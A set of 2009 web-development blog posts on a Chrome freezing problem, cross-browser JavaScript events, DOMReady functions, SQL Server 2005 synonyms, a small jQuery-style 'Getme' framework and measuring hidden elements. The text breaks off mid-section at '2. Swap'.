Sunday 25 October 2009

Google Chrome Unresponsive

Googles Chrome Browser Raising Page Unresponsive Errors

Today I have just come across an intermittent problem with the latest version of Google Chrome 3.0.195.27 which has meant that the browser opens correctly but then freezes when trying to load any page including the homepage.

I first had this problem this morning and thought it was down to a slow connection but all my other browsers worked fine. After a while of spinning around Chrome pops up a little pop up box saying that a page (unnamed) has become unresponsive and you can either close it or wait. Choosing either option does nothing at all.

I have scanned my system with multiple virus checkers and all seems fine.

I have also re-installed Chrome three times now. The first time I re-installed the program run okay up until I rebooted later on then the same problem came back. Now I am just getting the unresponsive messages on starting up the browser.

I don't know what the problem is and I also haven't got a solution yet so if anyone has similar issues please let me know. I can still access the web with FireFox, IE, Opera and Safari but I tend to use Chrome for all my pure web surfing so I would really like this browser back working well as I have really got to love using it over the last year.

Wednesday 21 October 2009

Window.Event support cross browser

Accessing window.event in Chrome, Safari and Opera


Something that I found out today, which you may or may not know related to events and browser support, is that the global event object used by Internet Explorer:

window.event

Is also supported in Chrome, Safari and Opera. I presumed Opera would support it as it also supports IE's event model as well as the DOM 2 model. By this I mean you can attach events using attachEvent or addEventListener as well of course using inline events e.g element.onclick=function(){}.

As addEventListener is the superior method this is why any custom addEvent function should always check for the standard option first before then checking for attachEvent and then reverting to DOM0 (if you require IE4 or NN4 support :) )

For Firefox when using inline Javascript event handlers you need to pass in the Event object as a parameter to any function you are calling. This is how I presumed the other standards compliant browsers would also work but it seems they support both methods. E.g in IE, Opera, Chrome and Safari both these methods work:

<input type="button" id="txtA" value="Click" onclick="Run();" />
<input type="button" id="txtA" value="Click" onclick="Run(event);" />


But in Firefox only the second method will work. The function called does a test for the window.event object to capture the event.type but in Firefox it uses the event parameter. On my example test you will notice the undefined messages when a test for window.event is carried out. 

For example you may have seen many a function like the following that handles both the window.event and event parameter:
function test(e){
// use the event parameter if passed otherwise
// use the global window.event object
e = e || window.event;
}
This may be old knowledge but it was new to me so I thought I would post it in case others didn't realise this event support. Also most developers have moved on from using inline event handlers to using unobtrusive Javascript and attaching events to the DOM after the HTML has loaded.

You can test this out here by running the following two test functions which will output some messages to a DIV container. This test should be carried out in multiple browsers especially Internet Explorer (IE), Chrome or Safari, Opera and Firefox. I haven't checked version support apart from IE 7,8, Chrome 3, Safari 4, Opera 10 and Firefox 3.5.









Sunday 18 October 2009

Using Document onLoad instead of Window onLoad

Why we should use DOMReady instead of window.onload

I know this is a topic that has been extensively covered by many developers but I thought I would give an example of a good reason to use a function that tests for the DOM to be ready to start running your JavaScript functions instead of the window.onload event to fire.

JQuery users will be used to writing code like this:
$(document).ready(function() {
alert("DOM is ready")
});
Which will try to fire when the DOM is ready and if not when the window is ready. If you write code like this:
$(window).load(function() {
alert("Window and all Iframe and Image content is ready")
});
Then you are waiting for the window to be ready to fire your functions which maybe a safer option if you are wanting to manipulate image or iframe content or content that has been loaded externally but on most occasions you would want to use a onDOMReady function like the one below which I have taken from code I use on this site. It is pretty similar to how most major frameworks including JQuery have inside their own cross browser DOMReady functions, however I am still testing for old Opera and Webkit users whereas JQuery does not do this anymore.

Also I have had to take the compressed version and then unpacked it due to not being on my own PC tonight due to problems with my leg but the code shouldn't be too bad and shouldn't be treated as copy and paste code but more like pseudo code.
onDOMLoad: function () {
// only look for modern browsers that haven't spoofed their agent (not perfect check but then its their own fault!)
if (Browser.w3cDOM && !Browser.spoof) {
// For old webkit and opera and KHTML we use a timer to test for readystate
if ((Browser.webkit && Browser.webkitversion < 525) || Browser.khtml || (Browser.opera && Browser.version < 9) && document.readyState != "undefined") {
PageLoader.DOMTimer = setInterval(function () {
if (/loaded|complete/.test(document.readyState)) {
PageLoader.RunDOMLoadFunctions()
}
},
10)
// For other standard compliant modern browsers apart from IE we can use the standard DOMContentLoaded function
// making sure to remove the anonymous function straight away.
} else if (document.addEventListener) {
AddEvent(document, "DOMContentLoaded", function () {
RemoveEvent(document, "DOMContentLoaded", arguments.callee);
PageLoader.RunDOMLoadFunctions()
},
false)
// For IE (and Opera which is why we do this last) we try two methods the first one can sometimes
// fire very late on in the day.
} else if (document.attachEvent) {
AddEvent(document, "onreadystatechange", function () {
if (document.readyState === "complete") {
RemoveEvent(document, "onreadystatechange", arguments.callee);
PageLoader.RunDOMLoadFunctions()
}
},
false);

// We also do this trick by Diego Perini to continually check for DOM readiness by
// checking for an error which comes from the doScroll call. Once there is no error reported we
// know the DOM is ready. This doesn't work for Iframes note the window comparison.
if (document.documentElement.doScroll && window == window.top)(function () {
if (PageLoader.DOMLoaded) return;
try {
document.documentElement.doScroll("left")
} catch(e) {
setTimeout(arguments.callee, 0);
return
};
PageLoader.RunDOMLoadFunctions()
})()
}
};
// Always call a window onload function to run anything not fired already.
PageLoader.AddWindowLoadEvent(function () {
PageLoader.RunDOMLoadFunctions()
});
return true
}
}


A good reason for doing this came to light very recently with a system we are working on updating the folder structure that holds site related files such as images, banners, logos etc that are loaded and used on the site. Because we are halfway through the process the folder structure has changed which means when a page loads all the images appear broken as they haven't been moved to the new structure yet. This is obviously on a development server!

However on a few pages it has been noticeable that as the page is loading you may start filling in form fields for input and then suddenly halfway through your focus is removed from the field you are currently on and taken to another field, usually the first field on the page. The reason for this is that the code being used to run the set focus() is being called by a function that is using a window.onload event rather than an onDOMReady function.

This doesn't happen in all places and I haven't fully looked into it to see if its mainly an Internet Explorer problem, which has well known issues with firing functions between the loading of the DOM and the Window, or an issue where the DOMReady doesn't fire for whatever reason and then falls back to window.onload. However its an example of the problem that when using window.onload the browser will wait until all images have been loaded before firing and due to the number of broken banner logos and images this is quite a number of failed checks which is why the delay seems so long.

A quick thought has been to add an extra fallback call in between the DOMReady and window.onload which would fire once the Body has loaded. This could be similar to a function below of mine which polls the DOM looking for the Body element to be ready before running the desired function. Again this is taken directly from unpacked code with comments re-added so treat as pseudo code.
onBodyLoad: function (fn) {
// Check the function is a function e.g typeof(fn)=="function"
if (S.isFunction(fn)) {
// if we haven't already called this function
if (!this.Body[fn]) {
// if the body has already loaded and we can get a reference to it
if (P.BodyLoaded || S.getBody()) {
// Call the function
fn.call();

// Set some flags so we know we have called the functon and also
// that the body has loaded in case other functions (window/dom) ready haven't
P.Body[fn] = true;
P.BodyLoaded = true
}
} else {
// call a timeout passing in the function to check again in 50ms
setTimeout(function () {
P.onBodyLoad(fn)
},
50)
}
}
}


Depending on what you put between the close BODY tag and the close HTML tag which shouldn't be much this might help give the effect of a DOMReady if for whatever reason the original code doesn't fire.

Thursday 8 October 2009

Using SYNONYMs in SQL 2005

Synonyms are great ways of using an alias to reference one or more tables in your database.

They were implemented in SQL 2005 and designed so that you can reference one or more tables by a single name. For example say you had a category matrix that held thousands of rows of data used on a results page. Instead of recalculating the data every time the page is loaded you have a database table that holds all the category data used on this report. The table is called

JOB_CATEGORY_MATRIX_A

and every 15 minutes you have an MS Agent job that rebuilds a new table containing the most up to date recent job category data and is called

JOB_CATEGORY_MATRIX_B

Once the new table has finished populating your application swaps over its SQL references so that it no longer looks at JOB_CATEGORY_MATRIX_A but instead looks at JOB_CATEGORY_MATRIX_B. Then 15 minutes later it does the same thing and swaps again.

Now SYNONYMs are a very useful tool as it means that in your application SQL you don't have to worry about changing your table names from JOB_CATEGORY_MATRIX_A to JOB_CATEGORY_MATRIX_B and vice versa every 15 minutes as you can reference both tables using a SYNONYM with the same name e.g JOB_CATEGORY_MATRIX.

How does this work?

Well to create a SYNONYM you can use the following SQL:

CREATE SYNONYM SITE_JOBS_MATRIX FOR mydatabase.dbo.SITE_JOBS_MATRIX_A

And to drop a SYNONYM you can use the following SQL:

DROP SYNONYM SITE_JOBS_MATRIX
Therefore to make use of a SYNONYM in your SQL you should just reference it like so:

SELECT * FROM dbo.SITE_JOBS_MATRIX
The time it takes to toggle a SYNONYM between two tables is very minimal almost a split second. However I have found on pages that use them in my SQL that are hit frequently by crawlers that occasionally errors will be raised saying that the table the SYNONYM points to doesn't exist. To get round this I have added some code into my generic data helper object so that if it catches any errors related to XXX does not exist. Then I do a wait for a second or two before trying the SQL again. By doing this the database has been given enough time to change the SYNONYM over.


Some useful SQL related to SYNONYMs

Sometimes you may need to find out details about the current table that the SYNOYM points to. To do this you can make use of the many great system views that come with SQL Server.

If you want to find the OBJECT_ID that the SYNONYM uses then you can use the OBJECT_ID function e.g

-- get the object_id of the SYNONYM
select object_id('SITE_JOBS_MATRIX')

-- get details about the object related to the ID
SELECT * FROM sys.objects WHERE object_id = 1036373490


If you want to know details about the current database table that the SYNONYM points to then you can make use of the system view sys.synonyms eg:


-- return details about the SYNONYM in question and the table it currently points to
SELECT base_object_name, name, object_id, *
FROM sys.synonyms
WHERE name = 'SITE_JOBS_MATRIX'

If you want to get a list of all the SYNONYMS in your database then you make use of the system views sys.objects and sys.sysobjects. I'm sure one of these will be depreciated in a future version of SQL but until then either one will give you the results you require.
-- list all SYNONYMNS in the current database
SELECT *
FROM sys.sysobjects
WHERE type = 'SN'

-- list all SYNONYMNS in the current database
SELECT *
FROM sys.objects
WHERE type = 'SN'
As you can see Synonyms are very useful tools for using aliases in SQL 2005 and can help when you have processes that involve building new tables to the side of existing ones for performance reasons.

If you want more information about this useful feature read the following article:

http://msdn.microsoft.com/en-us/library/ms177544.aspx

Sunday 4 October 2009

Build your own framework

Creating your own framework

Lets build our own mini framework. Not to replace the many brilliant frameworks already out there but to educate ourselves in how we would go about such a task. Many of you maybe using JQuery, Prototype. YUI or MooTools but have no idea how that code actually works and looking at the source code may just put you off wanting to know. Therefore this article is going to show you how we can create our own basic framework which we could extend and use ourselves if we so wished or we could build it just for fun as a way to improve our JavaScript programming knowledge as well as helping us understand why frameworks are built the way they are.

If you want to jump straight in and have a look at the full source code first then you can download the latest release of the code from here: http://www.strictly-software.com/scripts/downloads/getme-1.0.4.js


Aims of our example framework.

1. Picking an eye catching name

All the current major frameworks have great names that are easy to remember such as JQuery, Dojo and MooTools.

I am going to call this framework Getme for the simple reason it Gets me what I want. I already use a function in a lot of my code including Strictly.js called getEl which has a short name of G so Getme seems like a logical progression.

Also I am currently in the process of building an AJAX based add-on that is based on accessing remote content and reformatting it for use on websites in various ways so the name Getme.js seems to be in keeping with the aims of this add-on which will no doubt implement this code or a variation of it when complete.

One of the things I tend to do when creating a codebase or function libaray is give all my important functions two names. The first name is the more descriptive one such as Getme and the second one is usually a single capital letter which I will use to reference the function once the code has been compressed with my compressor tool e.g

G = getEl = function(id){ return document.getElementById(id); }

2. Main Functionality

The codebase is a very cut down version of a framework designed to show how you would go about creating your own as well as helping us understand what's going on when we look through the source code of other popular frameworks therefore the functionality will be very minimal. However it would be nice if we could do the following:

1. Return DOM nodes in a variety of manners using the same function. Similar to how JQuery lets you pass in CSS-Selectors to the $ function.

My function will do without the onDOMLoad function that JQuery supports with its main constructor when an anonymous function is passed in but it will offer the ability to return nodes in a variety of ways including by passing the constructor an #ID, .className, <tag>, a P:first-child > SPAN CSS Selector or an HTML string which can be converted into a node list.

2. Enable chaining so that the result of a previous DOM manipulation can be passed to subsequent functions without having to pass the previous functions result as a parameter into the next function e.g

// instead of having to do this
Getme.setHTML(Getme('DIV > P.myClass'),"<p>New HTML</p>");

//we could do this
Getme('DIV > P.myClass').setHTML("<p>New HTML</p>");

Which would set the innerHTML of any Paragraphs with a className of myClass that are descendants of DIV tags to have the value <New HTML>

3. Make use of the CSS 3 Selectors that all the major frameworks use to return DOM elements e.g

DIV#myID > P.myClass:nth-child(3)

4. Make use of internal loops so that a method applied to the result of a selector acts on all the nodes returned for example:

// set the class to "blue" and set some style properties for all elements that match the selector e.g all P tags that are descendants of DIV's
Getme('DIV > P').setAtts({class:"blue",style:"color:red;font-weight:bold"});

5. The ability to extend our object very easily by passing another object to a method that will add any properties and functions from one object to the other.

That's all I want this example code to do which if you think about it is pretty powerful stuff anyway. The code format is loosely based on JQuery and if you have ever looked at JQueries source code and wondered what the hell is going on then this example might help you get your head round it.


Starting to build our Getme.js framework - The Wrapper function

Now you may have seen in JQuery and other frameworks or functions that the entire code is wrapped in a self calling anonymous function like so:

(function(){

// set some shortcuts to optimise references to global vars
var window = this, // pointing window to this (which refers to the global object) speeds up references to window

undefined, // this creates an undefined variable we can use to test other undefined variables against

query = !!document.querySelectorAll;

// rest of code e.g object definition, functions and methods
})()

Now this self calling anonymous function ensures that any objects defined within it are created and returned when the function runs. The open and close () brackets at the end of the anonymous function ensure this. Plus any variables declared within the function are only accessible inside the anonymous function which means we are not polluting the global namespace. To learn more about this modular method please read the following article:

http://yuiblog.com/blog/2007/06/12/module-pattern/

As you can see there are a few variables declared within this function that to the beginner may see pretty odd e.g
var window = this,

undefined,
How can you set window to be equal to this?

Well the this keyword is a special keyword that refers to the context object and defaults to the global context (window) when used outside an object. If I create an instance of my Getme object and use the this keyword this inside a Getme method then it refers to the current instance of the Getme object. Used outside any object it will refer to the window object.

If you don't know much about the this keyword I suggest reading up about it as there is a well known problem in Internet Explorer where the this keyword refers to the Window object in certain cases when it shouldn't such as when event listeners are added using IE's attachEvent function. A recent blog of mine detailed one such problem that explains this issue in detail: http://blog.strictly-software.com/2009/09/trouble-with-this-keyword-and.html

If you define a function outside a namespace then you would also be able to reference it by prefixing it with window e.g a function called myFunc could be called as window.myFunc. Outside objects and functions where scope has been passed with a call or apply method the this keyword refers to the global namespace therefore setting window = this is a way of accessing the global namespace quicker than referring to it through the keyword window.

The other variable that is declared but not set to anything is undefined. Because the variable hasn't had a value set it's basically undefined and this means any comparison tests with other variables can be speeded up by comparing the variable with this undefined variable rather than having to do an equality test such as:
var myvar;
if(myvar == "undefined") alert("undefined");
if(myvar === undefined) alert("undefined");
The first test has to convert myVar to a string whereas the second test compares one undefined value against the other which is much quicker.


Now to the Getme.js source code

As most DOM manipulation involves the returning of one or more nodes from the DOM the aim of this object is to enable quick retrieval of DOM nodes by various methods. The main object will be called Getme and its primary property will be an array called this.nodes which will hold the current set of nodes. For functions that only return one node element such as getElementById then this node array will contain one item located at the first index e.g

this.nodes[0];

To enable the chaining of our object methods together each method will return a reference to the Getme object after any DOM manipulation has been carried out.

Lets add some code to instantiate our Getme object which we will use as our primary method of returning DOM nodes. We will also give it a short cut name of G (for Getme) so we can access DOM elements in a similar way that JQuery and the others use $ instead of jQuery.

// the G function is a short cut to instantiating with Getme object
G = function(sel, context){

return new Getme(sel, context);
}

// the Getme constuctor pass in a selector/context
// can handle multiple forms of selector
// ID - #ID to return element by id e.g G('#myID') 
// CLASS - .myClass to return elements by className
// TAG - <P> or <SPAN> to return all elements of a certain node type
// SELECTOR - DIV P SPAN to return all elements that are SPANS decendants of P who are decendants of DIV
// NodeList - <DIV><SPAN>hello there</SPAN></DIV> will return a nodelist containing the elements specified by the HTML passed in
Getme = function(sel, context){  

this.Getme = "Getme version 1.0.4",

this.nodes = this.nodes || [],

this.context = this.context || document; // default context to document

// main regEx to determine if selector is HTML string, ID or classname
var re_getme = /^<([^> ]+)[^>]*>(?:.|\n)+?<\/\1>$|^(\#([-\w]+)|\.(\w[-\w]+))$/i,

// regEx to match <SPAN> <P> <H1> tags
re_tag = /^<([a-z1-9]+?)>$/i,   

match;

// if no selector passed in default to document
if(!sel) sel = document;

// if we have been passed a string then this could either be
// an id of an element, a class name, a tag or an HTML string
if(typeof(sel)==="string"){

// look for a single HTML tag e.g <P> or <SPAN>
match = re_tag.exec(sel);    

if(match && match[1]){

// return all nodes matching the tag      
this.nodes = this.context.getElementsByTagName(match[1]);
}else{

// run regex to look for ID, class or HTML string
// match[1] = HTML string - matching start and end tag
// match[3] = ID
// match[4] = class name
var match = re_getme.exec(sel)||[];

// if we have an ID with or without a # e.g #myid or myid treated as an ID
if(match[3]){     

// get element by id
this.nodes[0] = document.getElementById(match[3]);

// if we have a class name e.g .myClass
}else if(match[4]){

// get elements by class name
this.nodes = Getme.funcs.getElementsByClassName( match[4],this.context);

// if we have a valid HTML string e.g <P><STRONG>hello</STRONG></P>
}else if(match[1]){

// create nodes from html
var div = document.createElement("DIV");

div.innerHTML = sel;

this.nodes = div.childNodes; 

}else{

// if querySelectorAll is available for modern browsers we can use that e.g
// FF 3.2+, Safari 3.2+, Opera 10, Chrome 3, IE 8 (standards mode)
if(query && this.context === document){       
this.nodes = Getme.funcs.selector(sel);
}else{            
// otherwise revert to Sizzle which makes a good job of handling older browsers
this.nodes = Getme.find(sel,this.context);
}

}
}
}else if(sel.nodeType){

// already got a node add
this.nodes[0] = sel;

}else if(Getme.funcs.isArray(sel)){    

this.nodes = sel;

}else{

this.nodes = Getme.funcs.makeArray(sel);
}

this.length = this.nodes.length;

return this; 
}

This function Getme which can be called with the shortcut G is the key to the whole object. It accepts two parameters sel and context. Sel (which is short for selector) can be a number of parameter types such as:
  • #myID which will return a reference to an element with the ID myID
  • .myClass which will return a node list of all elements with the className myClass
  • <span> or <p> which will return a node list of all elements with the tag specified e.g SPAN or P
  • <div><span>hello</span></div> which will be used to create a node list from the HTML specified.
  • An array of elements can be passed in gained from some other method or an object hash of elements which will be converted into an array.
  • DIV#myID > P:first-child or any other CSS 3 Selector can be passed in and a nodelist will be returned if the browser in question supports document.querySelectorAll. Otherwise if Sizzle has been added to the codebase then it will handle older browsers without the use of XPath.
Also notice the internal properties this.context and this.nodes as these are very important in terms of storing the current context that any selections are being carried out against such as document or a particular node. The nodes property stores the current nodelist that any selector or function has retrieved. For example if you have just returned a list of P tags then the nodes array will hold references to these items. This allows subsequent methods to access the nodelist to do any work such as set styles, clear children etc.

The Getme function uses various different methods to return the required nodelists including document.getElementById, getElementsByTagName, getElementsByClassName and a method to return elements by CSS selectors.

In fact adding complex CSS-Selector functionality is quite a simple process and for those browsers that support it such as FireFox 3.1, Safari 3.1, Opera 10 and IE 8 in standards mode a function can return nodes matching CSS 3 Selectors with only the following few lines of code which I have placed in a method called selector:
// returns elements by selector e.g DIV P SPAN
// supported in later browsers IE 8 (standards mode), FF 3.1+, Safari 3.1+
selector : function(query){

try {
return  document.querySelectorAll( query )
} catch(e){}

return [];
}


Now we have our main function that instansiates our Getme object and returns various node sets in a multitude of ways we can add our other methods which make use of Javascripts prototype inheritance to add methods to any Getme objects instantiated with the G function call.

All of these functions will return a reference to this (or the Getme object) so that further methods can be appended to the end in a chain. An example of three of these functions are below:

// returns the specified element from the current nodeList
get : function(idx){   

 if(this.nodes && this.nodes.length>0){
  return (typeof(idx)=="number") ? this.nodes[idx] : this.nodes[0];
 }else{
  return null;
 }

},

// sets the innerHTML of one or more nodes.
setHtml : function(content){

 if(content){     
  
  // if a node has been passed in we take its innerHTML
  if(content.nodeType){
   html = content.innerHTML; 
  // otherwise use the string passed to us   
  }else if(typeof(content)==="string"){
   html = content;
  }else{
   html = "";
  }

  // remove all existing html from this node as we are re-setting it
  this.each(function(){
   
   if ( this.hasChildNodes() ){
    while ( this.childNodes.length >= 1 ){
     this.removeChild( this.firstChild );       
    } 
   }
   
   this.innerHTML = html;
  })

 }

 return this;
},

// allows Getme object to reference the static foreach function automatically passing the current node list e.g G('SPAN.myclass').each(function(){})
each : function(callback){

this.foreach(this.nodes,callback);

return this;
},

// allows the setting of style values to the current nodelist
setStyle : function(style, val){

if(style){

var self = this,

atts;

// may have passed att=val pair or a object hash for atts
if(val !== undefined){
// create object hash
atts = eval('({'+style+':"'+val+'"})');
}else{
atts = style;
}

this.each(function(){
self.setProperties.call(this.style,atts);
})
}

return this;
}


As you can see these methods are all chainable in that they can be referenced in the following manner:

G('P > SPAN.info').setHTML('Use the help icon for more info.').setStyle({color:red,fontSize:8px})

I also have added another object called Getme.funcs which holds a number of utility functions that can be called statically without a Getme object reference having to be instantiated. For example in the Getme constructor I make a call to the getElementsByClass method in the following manner:

// get elements by class name
this.nodes = Getme.funcs.getElementsByClassName( match[4],this.context);

You can also call these functions yourself without having to first create a Getme object with the G constructor e.g

// loop through an array of items in arrEls calling a function for each node in the array passed to it
Getme.funcs.foreach(arrEls, function(){ somefunc(arrEls[this] );

I also extend my Getme.prototype object with Getme.funcs once both objects have been defined. This is to allow any Getme objects to have the benefit of having these methods added to their prototype.

The .each function is a good example of a method added to the Getme object as it calls the Getme.funcs.foreach method passing in the current node list stored in this.nodes and a callback function e.g:
// allows Getme object to reference the foreach function automatically passing the current node list e.g G('<pan>').each(function(){})
each : function(callback){

this.foreach(this.nodes,callback);

return this;
}

This allows you to easily call a function for each item in a nodelist and for other methods such as setStyle or setAtts the foreach method is called internally to allow any css style values or attributes to be set for each node element currently stored in the internal this.nodes member.

Although not even nearly complete this object serves as a basic example of how a framework like JQuery operates and you should use this as a guide to creating your own DOM manipulation framework. I have added some more methods to the object which you can see from the full source code which you can download here:


You should also note that to handle CSS 3 Selectors for older browsers such as IE 5-7, FF 1-3, Safari 1-3 etc I have used Sizzle.js which is the same selector engine that JQuery uses.

You can download the version of Sizzle that I have hooked into Getme here:


This brilliant CSS selector engine which was created by John Resig makes CSS 3 Selectors available for all those browsers that don't support the querySelectorAll method available in FireFox 3.2, Safari 3.2, IE 8, Opera 10 and Chrome 3.

You will notice in my Getme constructor that I have the following branch:
// if querySelectorAll is available for modern browsers we can use that e.g
// FF 3.2+, Safari 3.2+, Opera 10, Chrome 3, IE 8 (standards mode)
if(query && this.context === document){
this.nodes = Getme.funcs.selector(sel);
}else{
// otherwise revert to Sizzle which makes a good job of handling older browsers
this.nodes = Getme.find(sel,this.context);
}

Which passes off any selectors for browsers with no querySelectorAll support to Getme.find which is a pointer to the Sizzle function. If you scroll to the bottom of the Sizzle code you will see I have hooked in my Getme object in a similar way as JQuery hooks itself into Sizzle e.g

// EXPOSE Sizzle to Getme.js

window.Sizzle = Sizzle;

Getme.find = Sizzle;
Getme.filter = Sizzle.filter;
Getme.expr = Sizzle.selectors;
Getme.expr[":"] = Getme.expr.filters;
If you wanted to use Sizzle in your own framework or DOM manipulator library then its a simple case of referencing it in your code and either calling the Sizzle functions directly or doing what JQuery and Getme does and point your own functions at Sizzles own functions.

Hopefully this article has been helpful in explaining to new developers how a DOM manipulator library could be build with similar features to other frameworks such as JQuery.

This example Getme.js is not a complete framework and has not been built to become one rather its an example of how easy it is to utilise other useful libraries such as Sizzle and add them to your own code without having to worry about all the bloat that many frameworks come with. You can start off with a basic piece of code to manipulate and search for DOM nodes and then extend it as and when you require new functionality.

Writing your own framework

People always ask me why I don't use one of the big frameworks like jQuery, Prototype, Mootools, YUI etc. My answer is that its not that I don't think their code is good although I have found numerous bugs or issues in all of them over time but rather that I prefer to write my own code because that way I get to understand the language and become a better coder.

I don't claim to be a brilliant Javascript programmer and its only within the last few years that I have developed a big interest in it as opposed to back-end coding and database development. However I know that I won't get to the level of the John Resig's, Dean Edwards and Douglas Crockfords if I always rely on others to write my code for me.

For example on a project I worked on I had to create a fading in lightbox WYSIWYG editor that could float around the screen but never leave the boundaries of the viewport. This is no easy job for a novice and I could have easily loaded up Prototype, Scriptalicious and TinyMCE, found a how to article on Google and got the code working with a few hours. However I would have no idea how the code worked and if I had to make customisations to the code I would then have to spend hours trawling through lots of code I didn't understand hacking about until my tweak was complete. Plus I would have to do it in a way that any updates to those libraries didn't overwrite my changes when future updates were rolled out.

Obviously if you have time constraints or just don't care about how things are done but just want them done in the quickest way possible this maybe the way forward for you and I don't blame you for not wanting to commit the time it would take to build a widget such as the one described from scratch. However this is what I chose to do and it involved spending some considerable time reading up about my intended task before even attempting to write a line of code for the job.

This method of development will take you some time to achieve and you will probably spend a lot of time pulling whatever hair you have left out of your head. However along the way you will learn a lot about your craft including browser differences, the history of the DOM, event models and future developments as well increasing your own skills as a developer.

The pain and time spent will be worth it as when it comes to getting a high paid job in development in the future you will have done yourself a big favour by going down the hard route. Plus the widget or application you have just built will be your own creation and you will know your own code inside out. Any bugs that need fixing will not rely on some 3rd party to release an update and you will have pride in completing a job that many others would not do.

Now I am not totally against frameworks and even use a couple on my own sites. However I do feel that people tend to use them without due consideration to what tasks they actually need to perform. If you are writing heavy DOM manipulated AJAX application that utilise the majority of JQueries features then that is the tool for you. However if you are not intending to use the majority of the features and just like the fact you can access an element by id with the $ sign then you have bloated your codebase unnecessarily.

Whether you write your own code or use frameworks you should at least spend the time looking at the code so that you understand what it is your using and how it works. Once you do this fair play but there is nothing worse in my eyes that someone who uses a framework such as Prototype or Dojo but reverts straight to a forum when they get stuck rather than looking at the source code to see what is happening under the hood. If you at least attempt to do that first and then still don't know what's going on then your well within your rights to ask for help. However at least try to figure out what the code is doing as it may take up some of your time but it may also help you understand JavaScript a little bit more.


If you want to see some ideas on how you could go about writing your own JavaScript framework then check out this article of mine which goes over the basic concepts of using CSS selectors to find your nodes, applying functions to those nodes, chaining functions together, and passing the results of the first function to the second in the chain:

http://blog.strictly-software.com/2009/10/build-your-own-framework.html

Saturday 3 October 2009

Correctly measuring element dimensions

Obtaining an Elements correct width and height

Should be easy shouldn't it? You could check the elements style.width and style.height property but if they haven't been set by an inline style or with Javascript this won't help. You can use the browser specific style functions to return the current value but there are big differences between IE's currentStyle and the standard getComputedStyle functions.

If you want the height and width in pixels because you need the values for further computations such as positioning an element in the window then you will probably go for offsetWidth and offsetHeight and in fact most of the frameworks will resort to this method within their CSS functions if those dimensions are required. This is because even if you have specified a CSS style for the width and height in pt, em, % or any other unit the offsets will return a value in px. This is very useful as its a very easy method to get an accurate measurement that works cross browser.

Now I was working with some absolutely positioned floating DIV's earlier today and I required the dimensions of an inner DIV for use in a positioning calculation. The issue was that the floating DIV contained numerous inner DIV's only one of which was actually visible at one time. To make one of these sections appear the outer DIV was made visible and all of the inner DIVs apart from the one required to be shown were hidden. When the DIV was closed both the outer and inner DIVs were set to display:none;

I won't go into the reasons for this method apart from saying that the DIV's contained links and the reason I did it this way was for SEO so that all the links were available in the DOM server-side for bots to spider. Too many people nowadays create too much content on the fly with Javascript and forget about the fact that anything created this way is hidden from crawlers.


The problem - Measuring a DIV hidden from the flow

If you want to obtain the dimensions of an element that is currently hidden from the flow using offsetWidth and offsetHeight you must first put that element back into the DOM so that a measurement can be made. The usual method which frameworks like jQuery and Prototype use is to store the existing values for visibility, display and position, set those values to hidden, block and absolute, take a measurement and then revert the styles back to their original values e.g from Prototypes getDimensions function:
getDimensions: function(element) {
element = $(element);
var display = $(element).getStyle('display');
if (display != 'none' && display != null) // Safari bug
return {width: element.offsetWidth, height: element.offsetHeight};

// All *Width and *Height properties give 0 on elements with display none,
// so enable the element temporarily
var els = element.style;
var originalVisibility = els.visibility;
var originalPosition = els.position;
var originalDisplay = els.display;
els.visibility = 'hidden';
els.position = 'absolute';
els.display = 'block';
var originalWidth = element.clientWidth;
var originalHeight = element.clientHeight;
els.display = originalDisplay;
els.position = originalPosition;
els.visibility = originalVisibility;
return {width: originalWidth, height: originalHeight};
},
Now this is fine if the element you are trying to measure is hiding itself from the flow but if a parent is hiding it or even multiple parents then this won't work.

For example if you have a DIV that is set to display:none that contains another DIV also set to display:none; and then this DIV also contains a DIV set to display:none; which is the one you want to measure you actually have to toggle all 3 into the flow and out again to get an accurate offset measurement.

You can see this in action on the following example page I created: http://www.strictly-software.com/testGetdim.htm

View the source and run the test which will take measurements of the DIV on the left which is always in the flow and then the 3 nested DIVs that are hidden from the flow which will only be made visible once the test has run.

As you can see from the debug JQuery has no problem at all getting the measurements of the visible DIV and the outer most one from the 3 nested DIV's. However the two inner DIV's that require parents to be toggled in and out of the flow for their offsets to be measured do not return an accurate value.


Functions to measure offsets correctly

There are 3 main functions used in this test page that return accurate offset values for the nested DIV elements. The others are just helper functions to return a computed/current/style value and output debug or return an element by id.

// returns an array of elements that need to be made visible to carry out a measurement of an element
function getVisibleObj(elem){
arrEls = []; // holds array of elements we need to make visible to measure X

while(elem && elem!==document){
var es = getStyle(elem,"display"); // method returns current/computed/style value

if(es == 'none'){
arrEls.push(elem);
}

elem = elem.parentNode;
}
return arrEls; //null;
}

// swap styles in and out for an accurate measurment. Taken from jQuery and tweaked by myself to
// handle multiple elements.
function Swap(elem, els, styles, callback){

var obj;

for(var x=0,l=els.length;x<l;x++){
// create hash on element to hold old styles so we can revert later
obj = els[x];
obj.old = {};

// Remember the old values, and insert the new ones
for ( var name in styles ) {
obj.old[ name ] = obj.style[ name ];
obj.style[ name ] = styles[ name ];
}
}

// call the function passing in any element that needs scope
callback.call( elem );


for(var x=0,l=els.length;x<l;x++){
obj = els[x];

// Revert the old values
for ( var name in styles ){
obj.style[ name ] = obj.old[ name ];
}
// delete the hash from the element
try{ delete obj.old; }catch(e){ obj.old=null}
}

}

// offsetWidth/Height is element.width/height +border+padding (standard box model)
// clientWidth/Height is element.width/height +padding (if overflow:scroll then -16px)
function getElementDimensions(el){

el = (typeof(el)=="string")?G(el):el; //return a reference to the element

var w=0,h=0,cw=0,ch=0;

// if element is currently hidden we won't be able to get measurements so we need to find out whether this or
// any other parent objects are hiding this element from the flow
var arrEls = getVisibleObj(el); //returns array of objects we need to show to meaure our element

// create function to do the measuring
function getElDim(){

// get style object
var els = el.style;

// get dimensions
w = el.offsetWidth, h = el.offsetHeight, cw = el.clientWidth, ch = el.clientHeight;

}

// do we need to toggle other objects before getting our dimensions
if(arrEls && arrEls.length>0){
// call function to swap over properties so we can accuratley measure this element
var styles = {visibility: "hidden",display:"block"};
Swap(el, arrEls, styles, getElDim);
}else{
getElDim();
}


// create object
var ret = {
"width":w, //total width (element+border+padding)
"height":h,
"clientWidth":cw, //element+padding
"clientHeight":ch
}

return ret;
}

1. getVisibleObj

This function takes an element as its parameter and then loops up any parent elements storing in an array any that have a style.display set to none. Similar function on the web stop at the first element it comes across that is hidden but if you have multiple parents all hiding their children then only a full list will do.

2. Swap

